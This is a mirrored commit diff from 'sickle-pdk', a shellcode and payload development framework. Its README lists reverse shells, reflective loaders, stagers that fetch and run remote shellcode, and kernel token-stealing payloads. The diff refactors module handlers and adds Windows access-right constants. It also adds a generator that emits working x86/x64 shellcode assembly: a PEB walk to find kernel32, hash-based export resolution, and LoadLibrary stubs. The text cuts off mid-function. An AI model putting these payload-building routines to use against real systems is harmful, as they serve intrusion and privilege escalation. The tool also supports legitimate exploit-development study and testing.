mirror of
https://github.com/wetw0rk/sickle-pdk
synced 2026-06-06 16:57:14 +00:00
@@ -21,3 +21,4 @@ src/sickle/common/headers/linux/__pycache__
|
||||
src/sickle/common/handlers/__pycache__
|
||||
src/sickle/modules/__pycache__
|
||||
src/sickle/formats/__pycache__
|
||||
src/sickle/modules/cert.pem
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Sickle
|
||||
|
||||

|
||||

|
||||
|
||||
Sickle is a tool I originally developed to help me be more effective, in both developing and understanding shellcode. However, throughout the course of its development and usage It has evolved into a payload development framework. Although current modules are mostly aimed towards assembly, this tool is not limited to shellcode.
|
||||
|
||||
@@ -69,24 +69,27 @@ Although less common in 64-bit exploits, there may be instances where an exploit
|
||||
Originally, this tool started as a single large script. However, as it evolved, I found myself needing to re-learn the code with each update. To address this, Sickle now follows a modular approach, allowing for new functionality to be added with minimal time spent re-learning the tool’s design.
|
||||
|
||||
```
|
||||
$ sickle -l
|
||||
sickle.py -l
|
||||
|
||||
Shellcode Ring Description
|
||||
--------- ---- -----------
|
||||
linux/x86/shell_reverse_tcp 3 Reverse shell via TCP over IPV4 that provides an interactive /bin/sh session
|
||||
linux/x64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPV4 which executes an ELF from a remote server
|
||||
linux/aarch64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPv4 which executes an ELF from a remote server handler
|
||||
linux/aarch64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive /bin/sh session
|
||||
linux/aarch64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPv4 which executes an ELF from a remote server handler
|
||||
linux/x64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPV4 which executes an ELF from a remote server
|
||||
windows/x86/shell_reverse_tcp 3 Reverse shell via TCP over IPv4 that provides an interactive cmd.exe session
|
||||
windows/x64/egghunter 3 Egghunter based on Hell's Gate and NtProtectVirtualMemory
|
||||
windows/x64/reflective_pe_loader 3 Stageless Reflective PE Loader that takes an x64 binary and executes it in memory
|
||||
windows/x64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
|
||||
windows/x64/virtualalloc_exec_tcp 3 A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode
|
||||
windows/aarch64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
|
||||
windows/x64/virtualalloc_exec_https 3 A lightweight stager that connects to a handler over HTTPS to receive and execute shellcode
|
||||
windows/x64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
|
||||
windows/x64/reflective_pe_loader 3 Stageless Reflective PE Loader that takes an x64 binary and executes it in memory
|
||||
windows/x64/virtualalloc_exec_tcp 3 A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode
|
||||
windows/x64/exec 3 Executes a command on the target host
|
||||
windows/x64/egghunter 3 Egghunter based on Hell's Gate and NtProtectVirtualMemory
|
||||
windows/x64/old_process_injection 3 Process injection using embedded 2nd stage shellcode
|
||||
windows/x86/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
|
||||
windows/x64/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
|
||||
windows/x64/kernel_sysret 0 Generic method of returning from kernel space to user space
|
||||
windows/x64/kernel_ace_edit 0 SID entry modifier for process injection
|
||||
windows/x64/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
|
||||
|
||||
Architectures
|
||||
-------------
|
||||
@@ -97,34 +100,35 @@ $ sickle -l
|
||||
Modules Description
|
||||
------- -----------
|
||||
asm_shell Interactive assembler and disassembler
|
||||
run Wrapper used for executing bytecode (shellcode)
|
||||
badchar Produces a set of all potential invalid characters for validation purposes
|
||||
format Converts bytecode into a respective format (activated anytime '-f' is used)
|
||||
diff Bytecode diffing module for comparing two binaries (or shellcode)
|
||||
handler Module for handling payload distribution and session management
|
||||
disassemble Simple linear disassembler for multiple architectures
|
||||
pinpoint Highlights opcodes within a disassembly to identify instructions responsible for bad characters
|
||||
diff Bytecode diffing module for comparing two binaries (or shellcode)
|
||||
run Wrapper used for executing bytecode (shellcode)
|
||||
format Converts bytecode into a respective format (activated anytime '-f' is used)
|
||||
|
||||
Format Description
|
||||
------ -----------
|
||||
bash Format bytecode for bash script (UNIX)
|
||||
hex Format bytecode in hex
|
||||
perl Format bytecode for Perl
|
||||
python Format bytecode for Python
|
||||
num Format bytecode in num format
|
||||
java Format bytecode for Java
|
||||
rust Format bytecode for a Rust application
|
||||
hex_space Format bytecode in hex, seperated by a space
|
||||
c Format bytecode for a C application
|
||||
python3 Format bytecode for Python3
|
||||
bash Format bytecode for bash script (UNIX)
|
||||
raw Format bytecode to be written to stdout in raw form
|
||||
hex Format bytecode in hex
|
||||
javascript Format bytecode for Javascript (Blob to send via XHR)
|
||||
powershell Format bytecode for Powershell
|
||||
uint8array Format bytecode for Javascript as a Uint8Array directly
|
||||
escaped Format bytecode for one-liner hex escape paste
|
||||
cs Format bytecode for C#
|
||||
perl Format bytecode for Perl
|
||||
nasm Format bytecode for NASM
|
||||
dword Format bytecode in dword
|
||||
ruby Format bytecode for Ruby
|
||||
javascript Format bytecode for Javascript (Blob to send via XHR)
|
||||
nasm Format bytecode for NASM
|
||||
num Format bytecode in num format
|
||||
cs Format bytecode for C#
|
||||
raw Format bytecode to be written to stdout in raw form
|
||||
rust Format bytecode for a Rust application
|
||||
python Format bytecode for Python
|
||||
escaped Format bytecode for one-liner hex escape paste
|
||||
c Format bytecode for a C application
|
||||
powershell Format bytecode for Powershell
|
||||
hex_space Format bytecode in hex, seperated by a space
|
||||
```
|
||||
|
||||
This approach allows each module the ability to generate detailed documentation for its functionality.
|
||||
|
||||
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 3.3 MiB |
@@ -1,6 +1,4 @@
|
||||
from sickle.common.lib.generic.modparser import get_module_list
|
||||
from sickle.common.lib.generic.modparser import get_truncated_list
|
||||
from sickle.common.lib.generic.modparser import check_module_support
|
||||
from sickle.common.lib.generic import modparser
|
||||
|
||||
class FormatHandler():
|
||||
"""This class is responsible for calling the appropriate format module. All
|
||||
@@ -34,7 +32,7 @@ class FormatHandler():
|
||||
:rtype: FormatModule class
|
||||
"""
|
||||
|
||||
format_module = check_module_support("formats", self.fmt)
|
||||
format_module = modparser.check_module_support("formats", self.fmt)
|
||||
if (format_module == None):
|
||||
return None
|
||||
|
||||
@@ -46,8 +44,8 @@ class FormatHandler():
|
||||
"""
|
||||
|
||||
# Obtain the list of formats and their respective desciptions
|
||||
formats = get_module_list("formats")
|
||||
descriptions = [check_module_support("formats", fmt).FormatModule.description
|
||||
formats = modparser.get_module_list("formats")
|
||||
descriptions = [modparser.check_module_support("formats", fmt).FormatModule.description
|
||||
for fmt in formats]
|
||||
|
||||
# Obtain the largest format and format description string then calculate its
|
||||
@@ -63,7 +61,7 @@ class FormatHandler():
|
||||
print(f" {'------':<{max_format_len}} {'-----------'}")
|
||||
for fmt, info in zip(formats, descriptions):
|
||||
space_used = max_format_len + 4
|
||||
out_list = get_truncated_list(f"{info}", space_used)
|
||||
out_list = modparser.get_truncated_list(f"{info}", space_used)
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_format_len} {out_list[i]}")
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
from sickle.common.lib.generic.modparser import get_module_list
|
||||
from sickle.common.lib.generic.modparser import get_truncated_list
|
||||
from sickle.common.lib.generic.modparser import check_module_support
|
||||
from sickle.common.lib.generic import modparser
|
||||
|
||||
class ModuleHandler():
|
||||
"""This class is responsible for calling the appropriate development
|
||||
@@ -23,7 +21,7 @@ class ModuleHandler():
|
||||
"""Executes development module
|
||||
"""
|
||||
|
||||
dev_module = check_module_support("modules", self.module)
|
||||
dev_module = modparser.check_module_support("modules", self.module)
|
||||
if (dev_module == None):
|
||||
return -1
|
||||
|
||||
@@ -37,8 +35,8 @@ class ModuleHandler():
|
||||
"""
|
||||
|
||||
# Get the list objects of data we'll be parsing
|
||||
modules = get_module_list("modules")
|
||||
descriptions = [check_module_support("modules", mod).Module.summary
|
||||
modules = modparser.get_module_list("modules")
|
||||
descriptions = [modparser.check_module_support("modules", mod).Module.summary
|
||||
for mod in modules]
|
||||
|
||||
# Get the sizes needed to calculate output strings
|
||||
@@ -54,7 +52,7 @@ class ModuleHandler():
|
||||
|
||||
for mod, info in zip(modules, descriptions):
|
||||
space_used = max_mod_len + 4
|
||||
out_list = get_truncated_list(f"{info}", space_used)
|
||||
out_list = modparser.get_truncated_list(f"{info}", space_used)
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_mod_len} {out_list[i]}")
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
from sickle.common.lib.generic.modparser import get_module_list
|
||||
from sickle.common.lib.generic.modparser import get_truncated_list
|
||||
from sickle.common.lib.generic.modparser import check_module_support
|
||||
from sickle.common.lib.generic import modparser
|
||||
|
||||
class ShellcodeHandler():
|
||||
"""This class is responsible for calling the appropriate shellcode module.
|
||||
@@ -25,7 +23,7 @@ class ShellcodeHandler():
|
||||
:rtype: bytes
|
||||
"""
|
||||
|
||||
payload_module = check_module_support("payloads", self.payload)
|
||||
payload_module = modparser.check_module_support("payloads", self.payload)
|
||||
if (payload_module == None):
|
||||
return None
|
||||
|
||||
@@ -40,9 +38,9 @@ class ShellcodeHandler():
|
||||
"""
|
||||
|
||||
# Obtain the list objects of data we'll be parsing
|
||||
payloads = get_module_list("payloads")
|
||||
payloads = modparser.get_module_list("payloads")
|
||||
|
||||
sc_objects = [check_module_support("payloads", sc).Shellcode
|
||||
sc_objects = [modparser.check_module_support("payloads", sc).Shellcode
|
||||
for sc in payloads]
|
||||
|
||||
descriptions = [sc.summary for sc in sc_objects]
|
||||
@@ -93,7 +91,7 @@ class ShellcodeHandler():
|
||||
space_used = max_name_len + 8
|
||||
|
||||
for user in userland_stubs:
|
||||
out_list = get_truncated_list(f"{user[3]}", space_used)
|
||||
out_list = modparser.get_truncated_list(f"{user[3]}", space_used)
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_name_len} {' ':^4} {out_list[i]}")
|
||||
@@ -101,7 +99,7 @@ class ShellcodeHandler():
|
||||
print(f" {user[0]:<{max_name_len}} {user[2]:^4} {out_list[i]}")
|
||||
|
||||
for kernel in kernel_stubs:
|
||||
out_list = get_truncated_list(f"{kernel[3]}", space_used)
|
||||
out_list = modparser.get_truncated_list(f"{kernel[3]}", space_used)
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_name_len} {' ':^4} {out_list[i]}")
|
||||
|
||||
@@ -13,8 +13,6 @@ TH32CS_SNAPMODULE = 0x00000008
|
||||
TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
|
||||
TH32CS_INHERIT = 0x80000000
|
||||
|
||||
# TODO: finish
|
||||
|
||||
class _PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("dwSize", ctypes.c_int32), # DWORD
|
||||
|
||||
@@ -40,7 +40,6 @@ MEM_PHYSICAL = 0x00400000
|
||||
MEM_RESET_UNDO = 0x10000000
|
||||
MEM_LARGE_PAGES = 0x20000000
|
||||
|
||||
|
||||
IMAGE_SCN_MEM_DISCARDABLE = 0x02000000
|
||||
IMAGE_SCN_MEM_NOT_CACHED = 0x04000000
|
||||
IMAGE_SCN_MEM_NOT_PAGED = 0x08000000
|
||||
@@ -324,3 +323,65 @@ class _IMAGE_IMPORT_BY_NAME(ctypes.Structure):
|
||||
("Hint", ctypes.c_int16),
|
||||
("Name", ctypes.c_char * 1)
|
||||
]
|
||||
|
||||
# Access rights
|
||||
|
||||
READ_CONTROL = 0x00020000
|
||||
WRITE_DAC = 0x00040000
|
||||
WRITE_OWNER = 0x00080000
|
||||
SYNCHRONIZE = 0x00100000
|
||||
STANDARD_RIGHTS_REQUIRED = 0x000f0000
|
||||
|
||||
STANDARD_RIGHTS_READ = READ_CONTROL
|
||||
STANDARD_RIGHTS_WRITE = READ_CONTROL
|
||||
STANDARD_RIGHTS_EXECUTE = READ_CONTROL
|
||||
|
||||
STANDARD_RIGHTS_ALL = 0x001f0000
|
||||
|
||||
SPECIFIC_RIGHTS_ALL = 0x0000ffff
|
||||
|
||||
GENERIC_READ = 0x80000000
|
||||
GENERIC_WRITE = 0x40000000
|
||||
GENERIC_EXECUTE = 0x20000000
|
||||
GENERIC_ALL = 0x10000000
|
||||
|
||||
MAXIMUM_ALLOWED = 0x02000000
|
||||
ACCESS_SYSTEM_SECURITY = 0x01000000
|
||||
|
||||
EVENT_QUERY_STATE = 0x0001
|
||||
EVENT_MODIFY_STATE = 0x0002
|
||||
EVENT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
|
||||
|
||||
SEMAPHORE_QUERY_STATE = 0x0001
|
||||
SEMAPHORE_MODIFY_STATE = 0x0002
|
||||
SEMAPHORE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
|
||||
|
||||
MUTANT_QUERY_STATE = 0x0001
|
||||
MUTANT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE)
|
||||
|
||||
JOB_OBJECT_ASSIGN_PROCESS = 0x0001
|
||||
JOB_OBJECT_SET_ATTRIBUTES = 0x0002
|
||||
JOB_OBJECT_QUERY = 0x0004
|
||||
JOB_OBJECT_TERMINATE = 0x0008
|
||||
JOB_OBJECT_SET_SECURITY_ATTRIBUTES = 0x0010
|
||||
JOB_OBJECT_IMPERSONATE = 0x0020
|
||||
JOB_OBJECT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3f)
|
||||
|
||||
TIMER_QUERY_STATE = 0x0001
|
||||
TIMER_MODIFY_STATE = 0x0002
|
||||
TIMER_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
|
||||
|
||||
PROCESS_TERMINATE = 0x0001
|
||||
PROCESS_CREATE_THREAD = 0x0002
|
||||
PROCESS_VM_OPERATION = 0x0008
|
||||
PROCESS_VM_READ = 0x0010
|
||||
PROCESS_VM_WRITE = 0x0020
|
||||
PROCESS_DUP_HANDLE = 0x0040
|
||||
PROCESS_CREATE_PROCESS = 0x0080
|
||||
PROCESS_SET_QUOTA = 0x0100
|
||||
PROCESS_SET_INFORMATION = 0x0200
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
PROCESS_SUSPEND_RESUME = 0x0800
|
||||
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
PROCESS_SET_LIMITED_INFORMATION = 0x2000
|
||||
PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0xffff)
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
# TODO: Consider renaming to read_from_file since this can be used by modules as well
|
||||
def read_bytes_from_file(filename, mode="rb"):
|
||||
"""This function is responsible for reading bytes from any file.
|
||||
|
||||
|
||||
@@ -266,7 +266,7 @@ def print_module_info(module_class, module_name):
|
||||
info_field_max = max_arg_info
|
||||
|
||||
# Print the argument information with the calculation complete
|
||||
print("Argument Information\n")
|
||||
print("Argument Information:\n")
|
||||
print(f" {'Name':<{max_arg_name}} {'Description':<{info_field_max}} {'Optional'}")
|
||||
print(f" {'----':<{max_arg_name}} {'-----------':<{info_field_max}} {'--------'}")
|
||||
|
||||
@@ -316,6 +316,88 @@ def print_module_info(module_class, module_name):
|
||||
|
||||
print("")
|
||||
|
||||
# Information on each advanced argument for a given module (TODO: make a function since we do this 2 times)
|
||||
try:
|
||||
advanced_mod_args = m.advanced
|
||||
except AttributeError:
|
||||
advanced_mod_args = None
|
||||
|
||||
if (advanced_mod_args != None):
|
||||
|
||||
# Get the list of information we need to parse
|
||||
arg_names = [arg_name for arg_name in advanced_mod_args.keys()]
|
||||
|
||||
descriptions = [advanced_mod_args[arg_name]["description"]
|
||||
for arg_name in advanced_mod_args.keys()]
|
||||
|
||||
# Obtain the sizes needed to properly output information
|
||||
max_arg_name = len(max(arg_names, key=len))
|
||||
if max_arg_name < 0x0D:
|
||||
max_arg_name = 0x0D
|
||||
|
||||
max_arg_info = len(max(descriptions, key=len))
|
||||
|
||||
# Account for everything used in the output string aside from the description
|
||||
space_used = max_arg_name # Longest argument name
|
||||
space_used += 8 # Length of the "Optional" string
|
||||
space_used += 4 # Spaces used in the out string proir to modification
|
||||
|
||||
# Save space and used whatever is smaller the truncated space or terminal space
|
||||
info_field_max = get_truncated_max(space_used)
|
||||
if max_arg_info < info_field_max:
|
||||
info_field_max = max_arg_info
|
||||
|
||||
# Print the argument information with the calculation complete
|
||||
print("Advanced Argument Information:\n")
|
||||
print(f" {'Name':<{max_arg_name}} {'Description':<{info_field_max}} {'Optional'}")
|
||||
print(f" {'----':<{max_arg_name}} {'-----------':<{info_field_max}} {'--------'}")
|
||||
|
||||
for arg_name, _ in advanced_mod_args.items():
|
||||
description = advanced_mod_args[arg_name]["description"]
|
||||
optional = advanced_mod_args[arg_name]["optional"]
|
||||
|
||||
out_list = get_truncated_list(f"{description}", space_used)
|
||||
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_arg_name} {out_list[i]}")
|
||||
else:
|
||||
print(f" {arg_name:<{max_arg_name}} {out_list[i]:<{info_field_max}} {optional:>8}")
|
||||
|
||||
print("")
|
||||
|
||||
if ("options" in advanced_mod_args[arg_name].keys()):
|
||||
|
||||
supported_options = advanced_mod_args[arg_name]['options']
|
||||
|
||||
# Obtain list objects of options and information
|
||||
options, infos = zip(*supported_options.items())
|
||||
|
||||
# Calculate sizes
|
||||
max_option_size = len(max(options, key=len))
|
||||
if max_option_size < 0x0D:
|
||||
max_option_size = 0x0D
|
||||
|
||||
max_info_size = len(max(infos, key=len))
|
||||
|
||||
space_used = max_option_size
|
||||
space_used += 4
|
||||
|
||||
# Output the final results
|
||||
print(f"Advanced Argument Options:\n")
|
||||
print(f" {arg_name:<{max_option_size}} {'Description'}")
|
||||
print(f" {'-'*len(arg_name):<{max_option_size}} {'-----------'}")
|
||||
for opt, opt_desc in supported_options.items():
|
||||
out_list = get_truncated_list(f"{opt_desc}", space_used)
|
||||
|
||||
for i in range(len(out_list)):
|
||||
if i != 0:
|
||||
print(f" {' ' * max_option_size} {out_list[i]}")
|
||||
else:
|
||||
print(f" {opt:<{max_option_size}} {out_list[i]}")
|
||||
|
||||
print("")
|
||||
|
||||
print("Module Description:\n")
|
||||
all_info = m.description.split('\n')
|
||||
for line in all_info:
|
||||
@@ -378,7 +460,7 @@ def argument_check(required_arguments, user_arguments):
|
||||
|
||||
if (fail_check == 1):
|
||||
print(f"Missing arguments: {missing_args.rstrip(', ')}")
|
||||
return None
|
||||
exit()
|
||||
|
||||
for fd_arg, fd_var in final_dict.items():
|
||||
if (len(fd_var) < 1):
|
||||
|
||||
@@ -0,0 +1,452 @@
|
||||
import struct
|
||||
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.reversing import smartarch
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
ntdef,
|
||||
winternl,
|
||||
)
|
||||
|
||||
class WinRawr():
|
||||
"""This class is responsible for generating varous shellcode stubs in the "traditional"
|
||||
manor you expect to see in most shellcode. Keep in mind there are multiple ways to do
|
||||
what you see :P
|
||||
"""
|
||||
|
||||
def __init__(self, storage_offsets, dependencies, stack_space, exitfunc):
|
||||
|
||||
self.storage_offsets = storage_offsets
|
||||
self.dependencies = dependencies
|
||||
self.stack_space = stack_space
|
||||
self.exit_technique = exitfunc
|
||||
|
||||
def gen_source(self, main_func):
|
||||
"""Generates basic windows shellcode
|
||||
"""
|
||||
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
src = self.get_prologue()
|
||||
src += self.get_resolver()
|
||||
|
||||
src += main_func
|
||||
|
||||
if self.exit_technique != None:
|
||||
src += self.get_epilogue()
|
||||
|
||||
src += self.get_kernel32_stub()
|
||||
src += self.get_lookup_stub()
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
src = self.get_prologue()
|
||||
src += self.get_kernel32_stub()
|
||||
src += self.get_lookup_stub()
|
||||
src += self.get_resolver()
|
||||
|
||||
src += main_func
|
||||
|
||||
if self.exit_technique != None:
|
||||
src += self.get_epilogue()
|
||||
|
||||
return src
|
||||
|
||||
def get_kernel32_stub(self):
|
||||
"""Generates stub for obtaining the base address of Kernel32.dll
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
mov rcx, 0x60
|
||||
mov r8, gs:[rcx]
|
||||
getHeadEntry:
|
||||
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
|
||||
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
xor rcx, rcx
|
||||
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov rdi, [rdi]
|
||||
cmp [rsi + 0x18], cx
|
||||
jne search
|
||||
cmp [rsi], dl
|
||||
jne search
|
||||
found:
|
||||
leave
|
||||
ret\n"""
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
xor ebx, ebx
|
||||
xor ecx, ecx
|
||||
mov bl, 0x30
|
||||
mov edi, fs:[ebx]
|
||||
mov edi, [edi + {winternl._PEB.Ldr.offset}]
|
||||
mov edi, [edi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
mov eax, [edi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov esi, [edi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov edi, [edi]
|
||||
cmp [esi + 0x18], cx
|
||||
jne search
|
||||
cmp [esi], dl
|
||||
jne search
|
||||
found:
|
||||
jmp resolveFunctions\n"""
|
||||
|
||||
return stub
|
||||
|
||||
def get_lookup_stub(self):
|
||||
"""Generates the stub responsible for obtaining the base address of a function
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
|
||||
add rbx, rdi
|
||||
mov eax, [rbx]
|
||||
mov rbx, rdi
|
||||
add rbx, rax
|
||||
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov r8, rdi
|
||||
add r8, rax
|
||||
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [r8 + rcx * 4]
|
||||
mov rsi, rdi
|
||||
add rsi, rax
|
||||
xor r9, r9
|
||||
xor rax, rax
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror r9d, 0xD
|
||||
add r9, rax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp r9d, edx
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add r8, rdi
|
||||
xor rax, rax
|
||||
mov ax, [r8 + rcx * 2]
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add r8, rdi
|
||||
mov eax, [r8 + rax * 4]
|
||||
add rax, rdi
|
||||
error:
|
||||
leave
|
||||
ret\n"""
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
sub esp, 0x08
|
||||
xor ebx, ebx
|
||||
mov [ebp - 0x04], ebx ; [EBP+0x08] will serve as a temporary register (x64 has less registers)
|
||||
mov [ebp - 0x08], edx ; Argv passed into lookupFunction
|
||||
mov ebx, [edi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add ebx, {winnt._IMAGE_NT_HEADERS.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER.DataDirectory.offset}
|
||||
add ebx, edi
|
||||
mov eax, [ebx]
|
||||
mov ebx, edi
|
||||
add ebx, eax
|
||||
mov eax, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov edx, edi
|
||||
add edx, eax
|
||||
mov ecx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
mov [ebp - 0x04], ebx ; Backup EBX since we are going to XOR it
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [edx + ecx * 4]
|
||||
mov esi, edi
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
xor ebx, ebx
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror ebx, 0xD
|
||||
add ebx, eax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp ebx, [ebp - 0x08]
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov ebx, [ebp - 0x04] ; Restore EBX value prevously saved
|
||||
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add edx, edi
|
||||
xor eax, eax
|
||||
mov ax, [edx + ecx * 2]
|
||||
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add edx, edi
|
||||
mov eax, [edx + eax * 4]
|
||||
add eax, edi
|
||||
error:
|
||||
leave
|
||||
ret
|
||||
resolveFunctions:
|
||||
mov edi, eax\n"""
|
||||
|
||||
return stub
|
||||
|
||||
def get_loader_stub(self, lib):
|
||||
"""Generates the stub to load a library not currently loaded into a process
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
lists = convert.from_str_to_xwords(lib)
|
||||
write_index = self.storage_offsets['functionName']
|
||||
|
||||
stub = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["QWORD_LIST"])):
|
||||
stub += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
|
||||
stub += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
stub += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
stub += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
stub += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
stub += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
stub += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
stub += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
stub += f""" xor rcx, rcx
|
||||
mov [rbp-{write_index}], cl
|
||||
lea rcx, [rbp - {self.storage_offsets['functionName']}]
|
||||
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call rax"""
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
lists = convert.from_str_to_xwords(lib, 0x04)
|
||||
write_index = self.storage_offsets["functionName"]
|
||||
|
||||
stub = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
stub += " mov ecx, 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
stub += " mov [ebp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
stub += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
stub += " mov [ebp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
stub += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
stub += " mov [ebp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
stub += f"""
|
||||
xor ecx, ecx
|
||||
mov [ebp - {write_index}], cl
|
||||
lea ecx, [ebp - {self.storage_offsets['functionName']}]
|
||||
push ecx
|
||||
